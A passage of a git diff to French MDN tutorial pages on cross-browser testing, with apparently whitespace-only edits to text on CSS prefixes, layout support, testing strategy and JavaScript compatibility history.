versions d'IE. 2. Maintenant télécharger [MooTools](http://mootools.net/) et [Selectivizr](http://selectivizr.com/), et placez-les dans le même répertoire que votre fichier HTML. @@ -345,13 +345,13 @@ background-image: -webkit-gradient(linear,left center,right center,from(green),t background-image: linear-gradient(to right,green,yellow); ``` -La première ligne déclare une propriété {{cssxref("transform")}} avec un préfixe `-webkit-` — c'était nécessaire pour que la transformation fonctionne sur Chrome, etc jusqu'à ce que la fonctionnalité soit finalisée et beaucoup de navigateurs ont ajouté une version de la propriété sans préfixes (au moment de la rédaction, Chrome supportait les deux versions). +La première ligne déclare une propriété {{cssxref("transform")}} avec un préfixe `-webkit-` — c'était nécessaire pour que la transformation fonctionne sur Chrome, etc jusqu'à ce que la fonctionnalité soit finalisée et beaucoup de navigateurs ont ajouté une version de la propriété sans préfixes (au moment de la rédaction, Chrome supportait les deux versions). Les trois dernières images montrent trois versions différentes de la fonction [`linear-gradient()`](/fr/docs/Web/CSS/linear-gradient), qui est utilisée pour générer un dégradé linéaire dans la background d'un élément : 1. La première a un préfixe `-moz-`, et montre une version plutôt ancienne de la syntaxe (Firefox) 2. La seconde a un préfixe `-webkit-`, et montre encore une vieille version de la syntaxe de la propriété (également issue d'une vraiment vieille version du moteur Wekkit) -3. La troisième n'a pas de préfixe, et montre la version finale de la syntaxe (inclue dans [CSS Image Values and Replaced Content Module Level 3 spec](https://drafts.csswg.org/css-images-3/#linear-gradients), qui définit cette fonctionnalité). +3. La troisième n'a pas de préfixe, et montre la version finale de la syntaxe (inclue dans [CSS Image Values and Replaced Content Module Level 3 spec](https://drafts.csswg.org/css-images-3/#linear-gradients), qui définit cette fonctionnalité). Les fonctionnalités préfixées sont supposées ne jamais être utilisées dans des sites web en production — elles sont susceptibles de changer ou d'être supprimées sans avertissement, et causent des problèmes en navigateur croisé. C'est particulièrement un problème lorsque les développeurs décident de n'utiliser que la version `-webkit-` d'une propriété — ce qui veut dire que le site ne fonctionnera pas sur d'autres navigateurs. En fait, cela arrive tellement souvent que d'autres navigateurs ont commencé à implémenter les versions préfixées `-webkit-` de plusieurs propriétés CSS, ils marcheront donc avec un tel code. L'utilisation des préfixes fournit par chaque navigateur a récemment déclinée précisément à cause de ce type de problèmes, mais il en reste encore certain qui demandent de l'attention. @@ -368,7 +368,7 @@ Essayez cet exemple simple : var test = document.getElementById('hplogo'); ``` -5. Maintenant essayez d'appliquer une nouvelle valeur pour la propriété CSS qui vous intéresse sur cet élément ; vous pouvez le faire en utilisant la propriété [style](/fr/docs/Web/API/HTMLElement/style) de l'élément, par exemple essayez de taper ça dans votre console Javascript : +5. Maintenant essayez d'appliquer une nouvelle valeur pour la propriété CSS qui vous intéresse sur cet élément ; vous pouvez le faire en utilisant la propriété [style](/fr/docs/Web/API/HTMLElement/style) de l'élément, par exemple essayez de taper ça dans votre console Javascript : 6. ```js test.style.transform = 'rotate(90deg)' test.style.webkitTransform = 'rotate(90deg)' @@ -390,9 +390,9 @@ Cela vous assurera que tous les navigateurs qui supportent n'importe laquelle de Bien entendu, appliquer cela à de nombreuses différentes règles CSS peut devenir très fastidieux. Il est préférable d'utiliser des outils d'automatisation qui le font pour vous. Et de tels outils existent : -La [prefix-free JavaScript library](http://leaverou.github.io/prefixfree/) peut être jointe à une page, et détectera automatiquement quels sont les aptitudes détenues par navigateurs en analysant la page et en ajoutant les préfixes appropriés. C'est très facile et pratique à utiliser, bien qu'il ait quelques inconvénients (voir le lien au-dessus pour plus de détails), et on peut discuter du fait qu'analyser chaque feuille de style de votre site et ajouter des préfixes lors de l'exécution peut être un fardeau pour la puissance de traitement de l'ordinateur pour un grand site. +La [prefix-free JavaScript library](http://leaverou.github.io/prefixfree/) peut être jointe à une page, et détectera automatiquement quels sont les aptitudes détenues par navigateurs en analysant la page et en ajoutant les préfixes appropriés. C'est très facile et pratique à utiliser, bien qu'il ait quelques inconvénients (voir le lien au-dessus pour plus de détails), et on peut discuter du fait qu'analyser chaque feuille de style de votre site et ajouter des préfixes lors de l'exécution peut être un fardeau pour la puissance de traitement de l'ordinateur pour un grand site. -Une autre solution est d'ajouter automatiquement les préfixes pendant le développement, et cela (et d'autres choses à venir) peut être fait en utilisant des outils comme [Autoprefixer](https://github.com/postcss/autoprefixer) et [PostCSS](http://postcss.org/). Ces outils peuvent être utilisés de diverses manières, par exemple Autoprefixer a une [version en ligne](http://autoprefixer.github.io/) qui vous permet d'entrer votre CSS non préfixé sur la gauche, et vous donne une version avec préfixes ajoutés sur la droite. Vous pouvez sélectionner quels navigateurs vous voulez afin de vous assurer de bien supporter en utilisant la notation définie dans [Autoprefixer options](https://github.com/postcss/autoprefixer#options) ; pour plus de détails, voir aussi [Browserslist queries](https://github.com/ai/browserslist#queries), qui est basé dessus. Comme exemple, la requête suivante sélectionnera les deux dernières versions de tous le navigateurs principaux et les versions d'IE supérieure à la 9. +Une autre solution est d'ajouter automatiquement les préfixes pendant le développement, et cela (et d'autres choses à venir) peut être fait en utilisant des outils comme [Autoprefixer](https://github.com/postcss/autoprefixer) et [PostCSS](http://postcss.org/). Ces outils peuvent être utilisés de diverses manières, par exemple Autoprefixer a une [version en ligne](http://autoprefixer.github.io/) qui vous permet d'entrer votre CSS non préfixé sur la gauche, et vous donne une version avec préfixes ajoutés sur la droite. Vous pouvez sélectionner quels navigateurs vous voulez afin de vous assurer de bien supporter en utilisant la notation définie dans [Autoprefixer options](https://github.com/postcss/autoprefixer#options) ; pour plus de détails, voir aussi [Browserslist queries](https://github.com/ai/browserslist#queries), qui est basé dessus. Comme exemple, la requête suivante sélectionnera les deux dernières versions de tous le navigateurs principaux et les versions d'IE supérieure à la 9. last 2 versions, ie > 9 @@ -437,10 +437,10 @@ Un autre problème qui peut survenir est la différence de mise en page entre le La plupart du travail de mise en page sur le web aujourd'hui et réalisé en utilisant les [floats](/fr/docs/Learn/CSS/CSS_layout/Floats) — c'est parce que les floats sont bien supportés (depuis IE 4, bien qu'il y ait un certain nombre de bugs qui auront besoin d'être examinés si vous essayez de supporter IE aussi loin). Il n'y a néanmoins pas de véritables explications sur la mise en page — utiliser les floats comme nous les utilisons est un vrai hack — et ils ont de sérieuses limites (par ex. voir [Why Flexbox?](/fr/docs/Learn/CSS/CSS_layout/Flexbox#Why_Flexbox)) -Plus récemment, des mécanismes dédiés à la disposition ont fait leur apparition, comme [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) et [CSS Grids](/fr/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout), qui rendent les tâches ordinaires de disposition bien plus simples et enlèvent les défauts. Ils ne sont cependant pas bien supportés dans les navigateurs : +Plus récemment, des mécanismes dédiés à la disposition ont fait leur apparition, comme [Flexbox](/fr/docs/Learn/CSS/CSS_layout/Flexbox) et [CSS Grids](/fr/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout), qui rendent les tâches ordinaires de disposition bien plus simples et enlèvent les défauts. Ils ne sont cependant pas bien supportés dans les navigateurs : - Les grilles CSS sont très récentes ; au moment de la rédaction, elles n'étaient [supportées](http://gridbyexample.com/browsers/) que par les toutes nouvelles versions des navigateurs modernes. -- Flexbox est [bien supportée](/fr/docs/Learn/CSS/CSS_layout/Flexbox#Cross_browser_compatibility) dans les navigateurs modernes, mais amène des problèmes dans les vieux navigateurs. IE9 ne le supporte pas du tout, et IE 10 et les vieilles versions d'iOS/desktop Safari supportent respectivement des vieilles versions incompatibles des spécifications de flexbox. Ceci amène à s'intéresser au jonglage des préfixes de navigateur si vous voulez essayer d'utiliser flexbox sur tous ces navigateurs (voir [Advanced Cross-Browser Flexbox](https://dev.opera.com/articles/advanced-cross-browser-flexbox/) pour vous faire une idée). +- Flexbox est [bien supportée](/fr/docs/Learn/CSS/CSS_layout/Flexbox#Cross_browser_compatibility) dans les navigateurs modernes, mais amène des problèmes dans les vieux navigateurs. IE9 ne le supporte pas du tout, et IE 10 et les vieilles versions d'iOS/desktop Safari supportent respectivement des vieilles versions incompatibles des spécifications de flexbox. Ceci amène à s'intéresser au jonglage des préfixes de navigateur si vous voulez essayer d'utiliser flexbox sur tous ces navigateurs (voir [Advanced Cross-Browser Flexbox](https://dev.opera.com/articles/advanced-cross-browser-flexbox/) pour vous faire une idée). Les fonctionnalités de disposition ne sont pas aussi simples pour fournir des solutions de repli que de simples couleurs, ombres ou dégradés. Si les propriétés de disposition sont ignorées, la totalité de votre design sera réduit en pièces. De ce fait, vous devez utiliser une fonctionnalité de détection pour détecter si les navigateurs qui consultent votre site supportent ces caractéristiques de disposition, et appliquer différentes dispositions de manière sélective selon le résultat (nous couvrirons les fonctionnalités de détection dans un article à venir). @@ -454,13 +454,13 @@ Le design responsive est la pratique de créer des dispositions web qui s'adapte La résolution est également très préoccupante — par exemple, les appareils mobiles sont moins susceptibles d'avoir besoin de grosses images lourdes que des ordinateurs de bureau, et ont davantage tendance à avoir des connexions internet plus lentes et sans doute un échange de données coûteux qui gaspille la bande passante qui est un problème supplémentaire. De plus, certains appareils peuvent avoir une gamme de plusieurs résolutions, ce qui veut dire que des petites images peuvent s'afficher pixelisées. Il y a un nombre de techniques qui vous permette de travailler autour de tels problèmes, des simples [mobile first media queries](/fr/Apps/Progressive/Responsive/Mobile_first), aux plus complexes [responsive image techniques](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images#Resolution_switching_Different_sizes). -Une autre difficulté qui peut présenter des problèmes c'est le support des fonctionnalités par les navigateurs qui rendent les techniques suscitées possibles. Les media queries ne sont pas supportés sur IE 8 ou plus vieux, donc si vous voulez utiliser une disposition mobile en premier lieu puis une disposition pour ordinateur de bureau qui applique aux vieilles versions d'IE, vous devrez appliquer un media querie {{glossary("polyfill")}} à votre page, comme [css3-mediaqueries-js](https://code.google.com/archive/p/css3-mediaqueries-js/) ou [Respond.js](https://github.com/scottjehl/Respond). +Une autre difficulté qui peut présenter des problèmes c'est le support des fonctionnalités par les navigateurs qui rendent les techniques suscitées possibles. Les media queries ne sont pas supportés sur IE 8 ou plus vieux, donc si vous voulez utiliser une disposition mobile en premier lieu puis une disposition pour ordinateur de bureau qui applique aux vieilles versions d'IE, vous devrez appliquer un media querie {{glossary("polyfill")}} à votre page, comme [css3-mediaqueries-js](https://code.google.com/archive/p/css3-mediaqueries-js/) ou [Respond.js](https://github.com/scottjehl/Respond). ## Trouver de l'aide Il y bien d'autres problèmes que vous allez rencontrer avec le HTML et le CSS ; la chose la plus important à vraiment savoir est de comment trouver des solutions en ligne. -Parmi les meilleures sources d'information de support il y a Mozilla Developer Network (c'est où vous vous trouvez actuellement !), [stackoverflow.com](http://stackoverflow.com/) et [caniuse.com](http://caniuse.com/). +Parmi les meilleures sources d'information de support il y a Mozilla Developer Network (c'est où vous vous trouvez actuellement !), [stackoverflow.com](http://stackoverflow.com/) et [caniuse.com](http://caniuse.com/). Pour utiliser le Mozilla Developer Network (MDN), la plupart des gens font une recherche de la technologie sur laquelle ils essayent de trouver des informations, et ajoutent le terme "mdn", par exemple "mdn HTML5 video". MDN contient plusieurs types de contenus utiles : @@ -468,9 +468,9 @@ Pour utiliser le Mozilla Developer Network (MDN), la plupart des gens font une r - D'autres références de support, par ex. [Media formats supported by the HTML audio and video elements](/fr/docs/Web/HTML/Supported_media_formats). - Des tutoriaux utiles qui résolvent des problèmes spécifiques, par exemple [Créer un lecteur vidéo en navigateur croisé](/fr/docs/Web/Apps/Fundamentals/Audio_and_video_delivery/cross_browser_video_player). -[caniuse.com](http://caniuse.com/) fournit des informations de support, tout au long avec des ressources externes. Par exemple, voir <http://caniuse.com/#search=video> (vous avez juste à entrer la fonctionnalité que vous recherchez dans la boîte de recherche) +[caniuse.com](http://caniuse.com/) fournit des informations de support, tout au long avec des ressources externes. Par exemple, voir <http://caniuse.com/#search=video> (vous avez juste à entrer la fonctionnalité que vous recherchez dans la boîte de recherche) -[stackoverflow.com](http://stackoverflow.com/) (SO) est un forum en ligne où vous pouvez poser des questions et avez un ensemble de développeurs partageant leurs solutions, observez les commentaires passés, et aidez les autres développeurs. Nous vous conseillons de chercher et de regarder s'il existe déjà une réponse à votre question, avant de poster une nouvelle question. Par exemple, nous avons cherché pour "cross browser html5 video" sur SO, et très rapidement la solution [HTML5 Video with full cross browser compatibility](http://stackoverflow.com/questions/16212510/html5-video-with-full-cross-browser-compatibility) est remontée. +[stackoverflow.com](http://stackoverflow.com/) (SO) est un forum en ligne où vous pouvez poser des questions et avez un ensemble de développeurs partageant leurs solutions, observez les commentaires passés, et aidez les autres développeurs. Nous vous conseillons de chercher et de regarder s'il existe déjà une réponse à votre question, avant de poster une nouvelle question. Par exemple, nous avons cherché pour "cross browser html5 video" sur SO, et très rapidement la solution [HTML5 Video with full cross browser compatibility](http://stackoverflow.com/questions/16212510/html5-video-with-full-cross-browser-compatibility) est remontée. Par ailleurs, essayez de chercher votre moteur de recherche favori pour trouver une réponse à vos problèmes. C'est souvent utile de chercher les messages d'erreur spécifiques si vous en avez — d'autres développeurs seront susceptibles d'avoir les mêmes problèmes que vous diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md index 5ab07a6d4a..ae5d0cc024 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/introduction/index.md @@ -46,9 +46,9 @@ Souvenez-vous que vous n'êtes pas votre utilisateur — uniquement parce que vo > **Note :** [Make the web work for everyone](https://hacks.mozilla.org/2016/07/make-the-web-work-for-everyone/) fournit une perspective plus précise sur les différents navigateurs que les gens utilisent, leur part de marché, et les problèmes de compatibilité entre navigateurs. -Il est important de préciser quelque termes de terminologie. Pour commencer, quand on parle de "travailler en navigateurs croisés", on veut vraiment dire que chaque navigateur doit être capable de fournir une expérience utilisateur acceptable. C'est potentiellement bon pour un site de ne pas fournir exactement la même expérience sur tous les navigateurs, tant que le noyau des fonctionnalités reste accessible. Avec des navigateurs modernes vous pourrez ajouter quelques animations 3D et stylisées, tandis que sur de plus vieux navigateurs vous pouvez juste utiliser un design plus plat représentant la même information. Tant que le propriétaire du site est content, alors vous avez terminé votre travail. +Il est important de préciser quelque termes de terminologie. Pour commencer, quand on parle de "travailler en navigateurs croisés", on veut vraiment dire que chaque navigateur doit être capable de fournir une expérience utilisateur acceptable. C'est potentiellement bon pour un site de ne pas fournir exactement la même expérience sur tous les navigateurs, tant que le noyau des fonctionnalités reste accessible. Avec des navigateurs modernes vous pourrez ajouter quelques animations 3D et stylisées, tandis que sur de plus vieux navigateurs vous pouvez juste utiliser un design plus plat représentant la même information. Tant que le propriétaire du site est content, alors vous avez terminé votre travail. -D'un autre côté, ce n'est pas ok qu'un site soit fonctionnel pour les personnes voyantes mais complètement inaccessible pour des utilisateurs qui ont des problèmes de vision parce que leur application de lecture d'écran ne peut lire aucune des données stockées sur le site. +D'un autre côté, ce n'est pas ok qu'un site soit fonctionnel pour les personnes voyantes mais complètement inaccessible pour des utilisateurs qui ont des problèmes de vision parce que leur application de lecture d'écran ne peut lire aucune des données stockées sur le site. De plus, lorsqu'on dit "à travers un nombre acceptable de navigateurs", on ne veut pas dire 100% des navigateurs dans le monde — c'est tout simplement impossible. Vous pouvez faire des recherches d'informations (analyse sectorielle) pour savoir quels sont les types de supports et de navigateurs que vos utilisateurs vont utiliser (comme on peut en parler dans le second article — voir [Gotta test 'em all?](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all)), mais vous ne pouvez pas tout garantir. En tant que developpeur web, vous devez convenir avec le demandeur du site d'une liste de navigateurs et d'appareils sur lesquels le code doit absolument fonctionner, au-delà de ces prérequis, vous devez vous assurer de donner un maximum de chances aux autres navigateurs de pouvoir afficher votre contenu grâce à du code préventif. Cette étape représente le défi le plus important d'un développeur web. @@ -60,8 +60,8 @@ Il y a beaucoup de raisons différentes qui amènent des problèmes en navigateu Les problèmes en navigateurs croisés se produisent le plus fréquemment parce que : -- Parfois les navigateurs ont des bugs, ou implémentent des fonctionnalités différemment. Cette situation n'est pas aussi grave qu'elle n'y paraît ; si on regarde IE4 et Netscape 4 qui étaient en compétition pour devenir le navigateur dominant dans les années 90, les compagnies de navigateurs implémentaient délibérément des fonctionnalités différentes les uns des autres afin de prendre l'avantage, ce qui faisait de la vie des développeurs un véritable enfer. Les navigateurs sont biens meilleurs pour respecter les standards de nos jours, mais les bug et les différences continuent d'apparaître de temps en temps. -- Certains navigateurs peuvent avoir différents niveaux d'acceptation de fonctionnalités par rapport à d'autres. C'est inévitable lorsque vous traitez avec des fonctionnalités de pointe que les navigateurs commencent seulement à implémenter, ou encore si vous devez supporter de vraiment vieux navigateurs qui ne sont plus du tout développés, ou qui ont arrêté (c-à-d plus aucun travail effectué sur ces derniers) bien longtemps avant même qu'une nouvelle fonctionnalité n'est put être inventée. Par exemple, si vous voulez utiliser des fonctionnalités avancées de Javascript sur votre site, elles ne marcheront sûrement pas sur d'anciens navigateurs. Si vous devez supportez des vieux navigateurs, vous ne devriez pas utiliser ces fonctionnalités ou bien convetir votre code dans une ancienne syntaxe en utilisant un compileur ou quelque chose de similaire si nécessaire. +- Parfois les navigateurs ont des bugs, ou implémentent des fonctionnalités différemment. Cette situation n'est pas aussi grave qu'elle n'y paraît ; si on regarde IE4 et Netscape 4 qui étaient en compétition pour devenir le navigateur dominant dans les années 90, les compagnies de navigateurs implémentaient délibérément des fonctionnalités différentes les uns des autres afin de prendre l'avantage, ce qui faisait de la vie des développeurs un véritable enfer. Les navigateurs sont biens meilleurs pour respecter les standards de nos jours, mais les bug et les différences continuent d'apparaître de temps en temps. +- Certains navigateurs peuvent avoir différents niveaux d'acceptation de fonctionnalités par rapport à d'autres. C'est inévitable lorsque vous traitez avec des fonctionnalités de pointe que les navigateurs commencent seulement à implémenter, ou encore si vous devez supporter de vraiment vieux navigateurs qui ne sont plus du tout développés, ou qui ont arrêté (c-à-d plus aucun travail effectué sur ces derniers) bien longtemps avant même qu'une nouvelle fonctionnalité n'est put être inventée. Par exemple, si vous voulez utiliser des fonctionnalités avancées de Javascript sur votre site, elles ne marcheront sûrement pas sur d'anciens navigateurs. Si vous devez supportez des vieux navigateurs, vous ne devriez pas utiliser ces fonctionnalités ou bien convetir votre code dans une ancienne syntaxe en utilisant un compileur ou quelque chose de similaire si nécessaire. - Certains appareils peuvent avoir des contraintes qui rendraient la navigation plus lente sur un site web, ou afficheraient mal le contenu. Par exemple, si un site a été designé pour être beau sur un support PC il paraîtra sûrement très serré et très difficile à lire sur un écran de mobile. Si votre site inclut une quantité importante de grosses animation ça passera sûrement sur une tablette haut de gamme, mais peut-être lent et saccadé sur un appareil de plus basse gamme. Et encore tant d'autres raisons. @@ -86,13 +86,13 @@ Durant la phase de plan initial, vous allez probablement avoir plusieurs réunio Une fois que vous vous êtes fait une idée des fonctionnalités requises et de quelles technologies vous allez avoir besoin pour les construire, vous pouvez commencer à rechercher le public cible — quel navigateurs, supports, etc. ce public cible va-t-il utiliser pour aller sur ce site? Le client peut déjà avoir des données à ce propos provenant de recherches qu'il aurait faites auparavant, p.e. d'un autre site web qu'il possède, ou d'une ancienne version du site sur lequel vous travaillez actuellement. Si ça n'est pas le cas, vous serez en mesure de vous faire une idée en prenant en compte d'autres sources, comme les statistiques d'utilisation pour les concurrents ou bien dans quels pays le site sera délivré. Vous pouvez évidemment vous servir un peu de votre intuition. -Par exemple, vous pouvez être en train de construire un site e-commerce qui ne sera désservi que pour des utilisateurs dans l'Amérique du Nord. Le site devra entièrement fonctionner sur les toutes dernières versions des ordinateurs et des mobiles (iOS, Android, Windows phone) et les navigateurs les plus populaires — cela doit inclure Chrome (et Opera car il est basé sur le même moteur de rendu que Chrome), Firefox, IE/Edge, et Safari. Il devra aussi fournir une expérience acceptable sur IE 8 et 9, et être accessible avec les conformité de l'Accessibilité Web. +Par exemple, vous pouvez être en train de construire un site e-commerce qui ne sera désservi que pour des utilisateurs dans l'Amérique du Nord. Le site devra entièrement fonctionner sur les toutes dernières versions des ordinateurs et des mobiles (iOS, Android, Windows phone) et les navigateurs les plus populaires — cela doit inclure Chrome (et Opera car il est basé sur le même moteur de rendu que Chrome), Firefox, IE/Edge, et Safari. Il devra aussi fournir une expérience acceptable sur IE 8 et 9, et être accessible avec les conformité de l'Accessibilité Web. Maintenant que vous connaissez votre plate-forme de test cible, vous devriez revenir en arrière et revoir les fonctionnalités requises ainsi que les technologies que vous allez utiliser. Par exemple, si le client du site de e-commerce veut un tour WebGL 3D de chaque produit intégré dans la page produit, il devra accepter que cela ne sera juste pas possible sur les versions d'IE avant la 11ème. Vous devez vous entendre pour fournir une version du site sans cette fonctionnalité pour les utilisateurs des anciennes versions d'IE. Vous devriez mettre en place une liste des différents champs de problèmes potentiels. -> **Note :** Vous pouvez trouver les informations concernant les différentes technologies et leur support par les navigateurs en recherchant les différentes fonctionnalités sur MDN — le site sur lequel vous vous trouvez! Vous pouvrez également consulter [caniuse.com](http://caniuse.com/), pour d'autres détails utiles. +> **Note :** Vous pouvez trouver les informations concernant les différentes technologies et leur support par les navigateurs en recherchant les différentes fonctionnalités sur MDN — le site sur lequel vous vous trouvez! Vous pouvrez également consulter [caniuse.com](http://caniuse.com/), pour d'autres détails utiles. Une fois que vous êtes d'accord sur ces détails, vous pouvez continuer et démarrer le développement du site. @@ -103,7 +103,7 @@ Maintenant concernant le développement du site. Vous devez séparer les différ Il existe plusieurs stratégies générales concernant le développement multi-navigateurs, par exemple : - Obtenir toutes les fonctionnalités qui marchent le plus possible de la même manière sur tous les navigateurs croisés. Cela peut induire d'écrire différents codes qui reproduisent la même fonctionnalité d'une manière différentes visant différents navigateurs, ou bien utiliser un {{glossary("Polyfill")}} afin d'imiter tout support manquant en utilisant Javascript ou d'autres technologies, ou utiliser une librairie qui vous autorise à écrire une seule fois le code et ensuite appliquer différents comportements en arrière-plan selon ce que le navigateur prend en charge. -- Accepter que certaines choses ne vont pas se comporter de la même manière sur tous les navigateurs, et fournir différentes solutions (acceptables) sur les navigateurs qui ne supportent pas toutes les fonctionnalités. Parfois c'est inévitable à cause des contraintes du support — un écran de cinéma ne va pas donner la même expérience visuelle qu'un écran 4 pouces de smartphone, indépendamment de comment vous programmez votre site. +- Accepter que certaines choses ne vont pas se comporter de la même manière sur tous les navigateurs, et fournir différentes solutions (acceptables) sur les navigateurs qui ne supportent pas toutes les fonctionnalités. Parfois c'est inévitable à cause des contraintes du support — un écran de cinéma ne va pas donner la même expérience visuelle qu'un écran 4 pouces de smartphone, indépendamment de comment vous programmez votre site. - Acceptez que votre site ne va juste pas marcher sur certains vieux navigateurs, et aller au-delà. Il n'y a pas de soucis à condition que votre client/base d'utilisateurs soit d'accord avec ceci. Normalement votre développement devra inclure une combinaison des trois approches ci-dessus. La chose la plus importante est que vous testiez chacune des petites étapes avant de les commiter— n'attendez pas la fin avant de commencer à tester! @@ -157,7 +157,7 @@ La première chose à faire est de réduire l'origine du bug avec un maximum de Ce n'est pas forcément de votre faute — si un bug existe sur un navigateur, alors on peut espérer que le distributeur le fixera rapidement. Il est peut-être même déjà réparé — par exemple si un bug est présent sur la release 49 de Firefox, mais qu'il n'existe plus sur Firefox Nightly (version52), alors il a été fixé. S'il n'a pas été résolu, alors vous pouvez déposer un bug (voir {{anch("Reporting bugs")}}, plus bas). -Si c'est de votre faute, vous devez le résoudre ! Trouver la cause d'un bug implique la même stratégie que pour n'importe quel bug de développement web (à nouveau, voir [Debugging HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML), [Debugging CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS), et [What went wrong? Troubleshooting JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong)). Une fois que vous avez découvert ce qui causait le bug, vous devez décider comment est-ce que vous allez travailler sur le navigateur en particulier qui vous pose problèmes — vous ne pouvez pas juste modifier le code du problème, cela risque de casser le code sur un autre navigateur. En général, l'approche veut qu'on fasse bifurquer le code dans une certaine direction, par exemple utilisez une fonctionnalité de détecton en code Javascript pour détecter les situations où une fonctionnalité ne marche pas, et éxecuter un code différent qui fonctionnera dans ce cas. +Si c'est de votre faute, vous devez le résoudre ! Trouver la cause d'un bug implique la même stratégie que pour n'importe quel bug de développement web (à nouveau, voir [Debugging HTML](/fr/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML), [Debugging CSS](/fr/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS), et [What went wrong? Troubleshooting JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong)). Une fois que vous avez découvert ce qui causait le bug, vous devez décider comment est-ce que vous allez travailler sur le navigateur en particulier qui vous pose problèmes — vous ne pouvez pas juste modifier le code du problème, cela risque de casser le code sur un autre navigateur. En général, l'approche veut qu'on fasse bifurquer le code dans une certaine direction, par exemple utilisez une fonctionnalité de détecton en code Javascript pour détecter les situations où une fonctionnalité ne marche pas, et éxecuter un code différent qui fonctionnera dans ce cas. Lorsque le fix a été créé, vous devrez repéter votre processus de test afin de vous assurer que votre réparation fonctionne bien, et n'a pas causé une faille autre part sur le site ou sur un autre navigateur. diff --git a/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md b/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md index 807f81d444..21e9c8f98e 100644 --- a/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md +++ b/files/fr/learn/tools_and_testing/cross_browser_testing/javascript/index.md @@ -15,7 +15,7 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing/JavaScript --- {{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}} -Nous allons maintenant aborder les problèmes Javascript en navigateur croisé et comment les résoudre. Cela comprend des informations sur l'utilisation des outils de dev des navigateurs pour localiser et fixer les problèmes, l'utilisation des Polyfills et de librairies pour contourner les problèmes, utiliser les fonctionnalités modernes de Javascript sur des vieux navigateurs, et plus encore. +Nous allons maintenant aborder les problèmes Javascript en navigateur croisé et comment les résoudre. Cela comprend des informations sur l'utilisation des outils de dev des navigateurs pour localiser et fixer les problèmes, l'utilisation des Polyfills et de librairies pour contourner les problèmes, utiliser les fonctionnalités modernes de Javascript sur des vieux navigateurs, et plus encore. <table class="standard-table"> <tbody> @@ -24,10 +24,10 @@ Nous allons maintenant aborder les problèmes Javascript en navigateur croisé e <td> <p> Connaissances de la base des langages - <a href="/fr/Apprendre/HTML">HTML</a>, <a href="/fr/Apprendre/CSS" + <a href="/fr/Apprendre/HTML">HTML</a>, <a href="/fr/Apprendre/CSS" >CSS</a > - et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du + et <a href="/fr/docs/Learn/JavaScript">JavaScript</a> ; une idée du haut niveau des <a href="/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction" @@ -51,7 +51,7 @@ Nous allons maintenant aborder les problèmes Javascript en navigateur croisé e ## Les problèmes avec le Javascript -Historiquement, Javascript présentaient des problèmes de compatibilité entre navigateurs — retour aux années 1990, les navigateurs majeurs jusqu'alors (Internet Explorer et Netscape) implémentaient des scripts dans différents langages (Netscape avait JavaScript, IE avait JScript et proposait aussi VBScript comme une option), et bien que JavaScript et JScript étaient compatibles dans une certaine mesure (les deux sont basés sur la spécification {{glossary("ECMAScript")}} ), les éléments étaient souvent implémentés avec des conflits, des incompatibilités, ce qui causait bien des cauchemards aux développeurs. +Historiquement, Javascript présentaient des problèmes de compatibilité entre navigateurs — retour aux années 1990, les navigateurs majeurs jusqu'alors (Internet Explorer et Netscape) implémentaient des scripts dans différents langages (Netscape avait JavaScript, IE avait JScript et proposait aussi VBScript comme une option), et bien que JavaScript et JScript étaient compatibles dans une certaine mesure (les deux sont basés sur la spécification {{glossary("ECMAScript")}} ), les éléments étaient souvent implémentés avec des conflits, des incompatibilités, ce qui causait bien des cauchemards aux développeurs. De tels problèmes d'incompabilités ont persistés jusqu'au début des années 2000, étant donné que les vieux navigateurs étaient encore utilisés et devaient donc encore être supportés par les site web. C'est une des raisons principale pour laquelle les librairies comme JQuery ont vu le jour — pour faire abstraction des différences entre les implémentations des navigateur (par ex. voir le bout de code dans [Lancement d'une requête HTTP](/fr/docs/Web/Guide/AJAX/Premiers_pas#.C3.89tape_1_.E2.80.94_Lancement_d.27une_requ.C3.AAte_HTTP)) comme ça la développeurs n'ont qu'à écrire un simple morceau de code (voir [`jQuery.ajax()`](http://api.jquery.com/jquery.ajax/)). JQuery (ou qu'importe la librarie que vous utilisez) procédera ensuite au traitement en arrière-plan, donc vous n'aurez pas à le faire. @@ -71,14 +71,14 @@ Comme nous le disions dans l'[article précédent](/fr/docs/Learn/Tools_and_test - Les problèmes basiques de syntaxe et de logique (une fois encore, aller voir [La résolution JavaScript](/fr/docs/Learn/JavaScript/First_steps/What_went_wrong)). - Définir des variables sûres, etc. qui sont défnies dans le périmètre correct, et que vous ne rencontrez pas des conflits entre des items déclarés à des endroits différents (voir [Function scope and conflicts](/fr/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts)). - La confusion à propos de [this](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this), concernant le périmètre auquel il s'applique, et par conséquent si sa valeur et celle que vous souhaitiez. Vous pouvez lire [Qu'est-ce que "this" ?](/fr/docs/Learn/JavaScript/Objects/Basics#Qu'est-ce_que_%C2%AB_this_%C2%BB) pour une simple introduction ; vous devriez également étudier des exemples comme [this 